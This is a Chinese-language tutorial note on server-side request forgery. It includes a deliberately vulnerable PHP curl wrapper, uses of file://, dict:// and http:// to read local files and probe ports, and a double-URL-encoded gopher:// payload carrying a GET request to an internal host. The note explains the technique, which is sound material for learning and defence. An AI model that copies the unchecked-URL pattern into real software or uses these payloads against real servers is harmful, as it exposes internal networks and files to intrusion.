ssrf ( server-side request forgery )
服务端请求伪造 , 由服务器发起请求,服务器提供了向其他服务器索取数据的功能,索取数据的服务器未
对索取主机、索取资源进行限制;
输入 url 访问站点 xxx.com------------ 》 xxx.com 接收请求后 -------- 》 xx2.com 发送索取数据请求
csrf&ssrf: 用户为受害者 & 用户为攻击者
php 中常见于 curl_exec 、 file-get-content 函数使用不当
ssrf 与协议:
<? php
function curl ( $url ){
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , $url );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_exec ( $ch );
curl_close ( $ch );
}
@$url = $_GET [ 'url' ];
curl ( $url );
?>
通过 curl 获取资源
url= 任意网站 url
url= 访问自身的敏感文件
读取文件 file:// 绝对路径
探测本地端口 http:// dict://
gopher 协议与 ssrf
使用限制
php>5.3 , curl 低版本无法使用, java jdk<1.7 ,
查看自己的 web 服务器是否支持 gopher 协议:
gopher : // 协议格式
gopher://<host>:<port>/<gopher_path>_ 数据 注 :_ 可被除了 $ # 等特殊字符以外的任意字符替
换
gopher 默认端口 70
发送 GET/POST 请求时对特殊符号需要 url 编码
gopher 协议发送 GET 请求数据包
get.php 源码如下
对数据包进行 url 编码
在 http 数据包中,需要 %0d%0a 来分隔每一行
gopher 协议发送 POST 请求数据包
post 源码如下
注: post 请求需要请求头中的 content-type : application/x-www-form-urlencoded
请求体和请求头之间需要两组 %0d%0a
gopher 协议结合 ssrf 漏洞时要对特殊字符等进行二次 url 编码
二次 url
%25%34%37%25%34%35%25%35%34%25%32%30%25%32%66%25%36%37%25%36%35%25%37%34%25%32%6
5%25%37%30%25%36%38%25%37%30%25%33%66%25%36%31%25%33%64%25%33%31%25%33%32%25%33%
33%25%33%34%25%33%34%25%33%34%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33
%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%33%35%25%32%30%25%3
4%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%
30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%39%25
%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%30%25%32%65%2
5%33%31%25%33%32%25%33%38%25%30%64%25%30%61
一次 url
%47%45%54%20%2f%67%65%74%2e%70%68%70%3f%61%3d%31%32%33%34%34%34%35%35%35%35%35%3
5%35%35%35%35%35%35%35%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%
32%2e%31%36%38%2e%31%30%2e%31%32%38%0d%0a
原始数据
GET /get.php ?a = 1234445555555555555 HTTP/1.1
Host: 192 .168.10.128
第一层 url 会在漏洞服务端解析,第二层 url 则在内网的 web 服务器中解析